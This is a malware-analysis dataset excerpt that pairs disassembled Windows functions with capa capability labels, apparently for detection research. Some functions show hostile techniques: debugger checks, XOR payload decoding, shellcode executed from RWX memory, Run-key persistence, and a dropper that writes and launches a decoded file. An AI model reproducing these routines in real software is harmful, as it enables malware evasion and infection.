joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406300
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x4a9b9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4045c4
call fcn.00406f61
push 4
mov dword [esp + 0x18], 0
call fcn.00407d20
mov edi, eax
add esp, 4
test edi, edi
je 0x406374
push ebx
call fcn.00406e39
mov dword [edi], eax
call fcn.00406bf8
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00406f22
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406368
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00406f4a
pop ebx
jmp 0x406376
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x408791
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ad658]
jne 0x40879b
repz ret
jmp fcn.0040d1fc
Function at 0x412dce
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4ad658]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040bd66
and dword [ebp - 0x14], 0
cmp dword [0x4b03d8], 0
mov dword [ebp - 0x18], eax
jne 0x412e81
push 0x404070
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x412f29
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x404064
push ebx
call edi
test eax, eax
je 0x412f29
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x404054
push ebx
mov dword [0x4b03d8], eax
call edi
push eax
call esi
push 0x404040
push ebx
mov dword [0x4b03dc], eax
call edi
push eax
call esi
push 0x404024
push ebx
mov dword [0x4b03e0], eax
call edi
push eax
call esi
mov dword [0x4b03e8], eax
test eax, eax
je 0x412e81
push 0x40400c
push ebx
call edi
push eax
call esi
mov dword [0x4b03e4], eax
mov eax, dword [0x4b03e4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x412eda
cmp dword [0x4b03e8], ecx
je 0x412eda
push eax
call esi
push dword [0x4b03e8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x412eda
test ebx, ebx
je 0x412eda
call edi
test eax, eax
je 0x412ed1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x412ed1
test byte [ebp - 8], 1
jne 0x412eda
or dword [ebp + 0x10], 0x200000
jmp 0x412f0d
mov eax, dword [0x4b03dc]
cmp eax, dword [ebp - 0x18]
je 0x412f0d
push eax
call esi
test eax, eax
je 0x412f0d
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x412f0d
mov eax, dword [0x4b03e0]
cmp eax, dword [ebp - 0x18]
je 0x412f0d
push eax
call esi
test eax, eax
je 0x412f0d
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4b03d8]
call esi
test eax, eax
je 0x412f29
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x412f2b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408791
leave
ret
Function at 0x4a8590
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
sub esp, 0x80c
cmp dword [0x835120], 0x37
jne 0x4a8636
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push 0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push 0
lea eax, [esp + 0x410]
push eax
push 0
push 0x404118
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0x404138
push 0x404190
push 0x4041d0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov ecx, dword [0x835124]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x4b5184]
mov byte [ecx + esi], al
add esp, 0x80c
ret
Function at 0x4a8850
Capabilities:
Enumerate files on windows
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x835120]
sub esp, 0x484
push ebx
mov ebx, dword [0x4b5184]
push ebp
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x4a8a46
mov dword [esp + 0x20], ebx
mov dword [esp + 0x28], eax
jmp 0x4a8886
mov ebx, dword [esp + 0x20]
xor esi, esi
cmp dword [0x835120], 0x1c
jne 0x4a889d
lea eax, [esp + 0x44]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ecx, dword [ebx + 4]
mov edx, dword [0x4ae708]
mov eax, dword [0x4ae70c]
mov edi, dword [ebx]
mov dword [esp + 0x18], ecx
mov ecx, dword [0x4ae710]
mov dword [esp + 0x34], edx
mov edx, dword [0x4ae714]
mov ebx, 0xc6ef3720
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x38], edx
mov dword [esp + 0x24], 0x20
jmp 0x4a88e2
xor esi, esi
mov ecx, edi
shl ecx, 4
add ecx, dword [esp + 0x2c]
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x38]
lea edx, [ebx + edi]
xor ecx, edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ecx
mov dword [0x8340a4], esi
mov eax, dword [esp + 0x1c]
add dword [0x8340a4], eax
mov eax, dword [0x8340a4]
mov dword [esp + 0x40], eax
mov dword [esp + 0x1c], esi
mov eax, dword [esp + 0x40]
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x14]
xor eax, dword [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x1c], ecx
mov eax, dword [esp + 0x1c]
sub dword [esp + 0x18], eax
mov edx, dword [esp + 0x18]
shl edx, 4
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x34]
add dword [esp + 0x14], eax
cmp dword [0x835120], 0x1be
mov eax, dword [esp + 0x18]
lea ebp, [ebx + eax]
jne 0x4a8976
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov esi, dword [esp + 0x18]
shr esi, 5
add esi, dword [esp + 0x30]
cmp dword [0x835120], 0x979
mov dword [0x8340a8], 0xff6b3619
mov dword [0x8340ac], 0xffffffff
jne 0x4a89ca
mov edx, dword [esp + 0x3c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
lea eax, [esp + 0x94]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [esp + 0x14]
xor esi, ebp
xor eax, esi
sub edi, eax
add ebx, 0x61c88647
dec dword [esp + 0x24]
mov dword [esp + 0x14], eax
jne 0x4a88e0
cmp dword [0x835120], 0x8d4
jne 0x4a89ff
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
mov dword [esi], edi
mov dword [esi + 4], edx
cmp dword [0x835120], 0x17
jne 0x4a8a35
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
add esi, 8
dec dword [esp + 0x28]
mov dword [esp + 0x20], esi
jne 0x4a8880
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x484
ret
Function at 0x8c212a
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x8c1ea3
add ebx, 0x923ada84
call fcn.008c2156
or ebx, ebx
sub edx, edx
xor dword [ecx], esi
sub ebx, 0x340c2d6
add ebx, edx
dec edx
inc ecx
sub ebx, ebx
cmp ecx, eax
jne fcn.008c212a
sub edx, edx
inc ebx
ret
Function at 0x401d23
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
lea eax, [eax + 0xc]
mov edx, eax
cmp edx, eax
je 0x401d7d
push eax
push 0x40160a
call fcn.00401dbb
push 7
push 0x45f0bc
push dword [eax + 0x30]
call fcn.00402114
cmp eax, 0
jne 0x401d57
inc eax
jmp 0x401d7f
push 0x401622
call fcn.00401dbb
push 7
push 0x45f0bc
push dword [eax + 0x30]
call fcn.00402114
cmp eax, 0
jne 0x401d78
inc eax
jmp 0x401d7f
pop eax
mov eax, dword [eax]
jmp 0x401d31
xor eax, eax
ret

Function at 0x401d95
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
mov eax, dword fs:[0x30]
mov al, byte [eax + 0x68]
and al, 0x70
cmp al, 0x70
sete al
movzx eax, al
ret

Function at 0x401da9
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
test al, al
setne al
movzx eax, al
ret

Function at 0x401dbb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
lea edi, [0x45f0bc]
mov esi, dword [ebp + 8]
lodsw ax, word [esi]
xor ax, 0xd3
stosw word es:[edi], ax
cmp ax, 0
jne 0x401dc9
pop edi
pop esi
leave
ret 4

Function at 0x401ddd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
lea edi, [0x45f0bc]
mov esi, dword [ebp + 8]
lodsb al, byte [esi]
xor al, 0xd3
stosb byte es:[edi], al
cmp al, 0
jne 0x401deb
pop edi
pop esi
leave
ret 4

Function at 0x40201f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov ecx, dword [eax + 0x18]
mov edx, dword [eax + 0x20]
mov edi, dword [edx + ebx]
test edi, edi
je 0x402070
add edi, ebx
xchg esi, eax
push ecx
xor eax, eax
lea ecx, [eax - 1]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg esi, eax
mov esi, dword [ebp + 0xc]
repe cmpsb byte [esi], byte es:[edi]
pop ecx
jne 0x402070
sub ecx, dword [eax + 0x18]
neg ecx
mov edx, dword [eax + 0x24]
add edx, ebx
movzx edx, word [edx + ecx*2]
mov eax, dword [eax + 0x1c]
add eax, ebx
mov eax, dword [eax + edx*4]
add eax, ebx
jmp 0x402077
add edx, 4
loop 0x402037
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 8

Function at 0x40207e
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
push esi
push edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
lea ebp, [eax + 0xc]
mov eax, dword [ebp]
mov esi, dword [eax + 0x30]
movzx ecx, word [eax + 0x2e]
mov edi, dword [esp + 0x10]
mov dx, word [esi]
cmp dx, word [edi]
je 0x4020ca
cmp dx, 0x41
jb 0x4020af
cmp dx, 0x5a
jbe 0x4020b5
cmp dx, 0x61
jb 0x4020c1
cmp dx, 0x7a
ja 0x4020c1
xor dx, 0x20
jmp 0x4020c3
jmp 0x4020dd
cmp dx, word [edi]
je 0x4020ca
jmp 0x4020dd
add edi, 2
add esi, 2
sub ecx, 2
cmp ecx, 0
jne 0x40209b
mov eax, dword [eax + 0x18]
jmp 0x4020e5
mov eax, dword [eax]
cmp ebp, eax
jne 0x402090
xor eax, eax
pop edi
pop esi
pop ebp
ret 4
Function at 0x459880
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x402216
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x401260
xor ebx, ebx
push 0x4499a4
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
call fcn.0045b7c0
mov esi, dword [sym.imp.MSVBVM60.DLL_VarPtr]
mov edi, eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x1c], edi
push eax
call esi
push eax
push edi
call fcn.0040217b
mov ecx, dword [ebp - 0x14]
push 0x40
push 0x3000
push ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
cmp eax, ebx
mov dword [ebp - 0x20], eax
je 0x4599e4
call fcn.004018cd
mov edx, dword [ebp - 0x14]
push ebx
dec edx
lea eax, [ebp - 0x18]
push edx
push 1
push 0x11
push eax
push 1
push pe_nt_image_headers32
call dword [sym.imp.MSVBVM60.DLL___vbaRedim]
mov ecx, dword [ebp - 0x18]
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaAryLock]
add esp, 0x1c
lea edx, [ebp - 0x28]
push ecx
push edx
call edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x14]
sub ecx, edx
push ecx
call esi
mov ebx, dword [sym.imp.MSVBVM60.DLL___vbaAryUnlock]
lea edx, [ebp - 0x28]
push edx
mov dword [ebp - 0x2c], eax
call ebx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x2c]
add ecx, 4
push eax
push ecx
push edx
call fcn.00402198
lea eax, [ebp - 0x18]
push eax
call fcn.0045dfe0
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
push ecx
push edx
call edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x14]
sub ecx, edx
push ecx
call esi
lea edx, [ebp - 0x28]
mov dword [ebp - 0x2c], eax
push edx
call ebx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x20]
push eax
push ecx
push edx
call fcn.00402198
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.MSVBVM60.DLL_VarPtr]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov eax, dword [edx]
mov dword [ebp - 0x38], eax
push eax
lea eax, [ebp - 0x28]
push eax
call edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x14]
sub ecx, edx
push ecx
call esi
lea edx, [ebp - 0x28]
mov esi, eax
push edx
call ebx
mov eax, dword [ebp - 0x38]
push eax
call fcn.0040218a
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x20]
push eax
push esi
push ecx
push edx
call fcn.0045097d
mov dword [ebp - 0x24], eax
push 0x459a03
jmp 0x4599f6
lea ecx, [ebp - 0x18]
push ecx
push 0
call dword [sym.imp.MSVBVM60.DLL___vbaAryDestruct]
ret
Function at 0x45ddf0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x402216
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x401300
mov ebx, dword [sym.imp.MSVBVM60.DLL_VarPtr]
xor eax, eax
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
call fcn.0045bda0
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
mov edx, dword [ebp - 0x20]
push 0
push 0x18
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], 0
call edi
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI4Str]
push eax
lea eax, [ebp - 0x18]
push esi
push eax
call dword [sym.imp.ADVAPI32.DLL_CryptAcquireContextW]
mov esi, eax
lea ecx, [ebp - 0x20]
neg esi
sbb esi, esi
lea edx, [ebp - 0x1c]
push ecx
inc esi
push edx
push 2
neg esi
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
test si, si
je 0x45df9e
push 0
call ebx
mov esi, eax
call fcn.0045bda0
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
mov edx, dword [ebp - 0x20]
push 8
push 0x18
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], 0
call edi
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI4Str]
push eax
lea eax, [ebp - 0x18]
push esi
push eax
call dword [sym.imp.ADVAPI32.DLL_CryptAcquireContextW]
mov esi, eax
lea ecx, [ebp - 0x20]
neg esi
sbb esi, esi
lea edx, [ebp - 0x1c]
push ecx
inc esi
push edx
push 2
neg esi
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
test si, si
je 0x45df9e
push 0
call ebx
mov esi, eax
call fcn.0045cc30
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
mov edx, dword [ebp - 0x20]
push 0
push 0x18
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], 0
call edi
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI4Str]
push eax
lea eax, [ebp - 0x18]
push esi
push eax
call dword [sym.imp.ADVAPI32.DLL_CryptAcquireContextW]
mov esi, eax
lea ecx, [ebp - 0x20]
neg esi
sbb esi, esi
lea edx, [ebp - 0x1c]
push ecx
inc esi
push edx
push 2
neg esi
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
test si, si
je 0x45df9e
push 0
call ebx
mov esi, eax
call fcn.0045cc30
mov edx, eax
lea ecx, [ebp - 0x20]
call edi
mov edx, dword [ebp - 0x20]
push 8
push 0x18
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], 0
call edi
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI4Str]
push eax
lea eax, [ebp - 0x18]
push esi
push eax
call dword [sym.imp.ADVAPI32.DLL_CryptAcquireContextW]
mov esi, eax
lea ecx, [ebp - 0x20]
neg esi
sbb esi, esi
lea edx, [ebp - 0x1c]
push ecx
inc esi
push edx
push 2
neg esi
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
test si, si
jne 0x45dfa4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
push 0x45dfc0
jmp 0x45dfbf
ret
Function at 0x40c030
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x401a86
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x401518
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
call fcn.0040bf60
cmp ax, 0xffff
jne 0x40c08f
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
push 0x404b1c
push ecx
call edi
push eax
push 0x80000002
jmp 0x40c0aa
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x24]
push 0x404b1c
push eax
call edi
push eax
push 0x80000001
call fcn.004034f8
mov esi, eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
cmp esi, ebx
jne 0x40c121
mov esi, dword [ebp + 0xc]
mov ecx, dword [esi]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
mov edx, dword [esi]
push eax
lea eax, [ebp - 0x28]
push edx
push eax
call edi
push eax
push 1
push ebx
mov ebx, dword [ebp + 8]
lea edx, [ebp - 0x24]
mov ecx, dword [ebx]
push ecx
push edx
call edi
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00403540
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x24]
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaStrToUnicode]
push ecx
push ebx
call edi
mov edx, dword [ebp - 0x28]
push edx
push esi
call edi
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x24]
push eax
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
mov edx, dword [ebp - 0x18]
push edx
call fcn.00403584
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x40c14c
jmp 0x40c14b
ret
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x408922
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
call fcn.00408952
mov ebx, ebx
add eax, 0xcbcd359e
xor dword [esi], ecx
sub eax, eax
add eax, eax
add esi, 1
inc eax
or ebx, eax
cmp esi, edx
jne fcn.00408922
and ebx, eax
ret
Function at 0x406410
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x42a90b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4046d4
call fcn.00407071
push 4
mov dword [esp + 0x18], 0
call fcn.00407e30
mov edi, eax
add esp, 4
test edi, edi
je 0x406484
push ebx
call fcn.00406f49
mov dword [edi], eax
call fcn.00406d08
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00407032
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x406478
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.0040705a
pop ebx
jmp 0x406486
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4088a1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e658]
jne 0x4088ab
repz ret
jmp fcn.0040d30c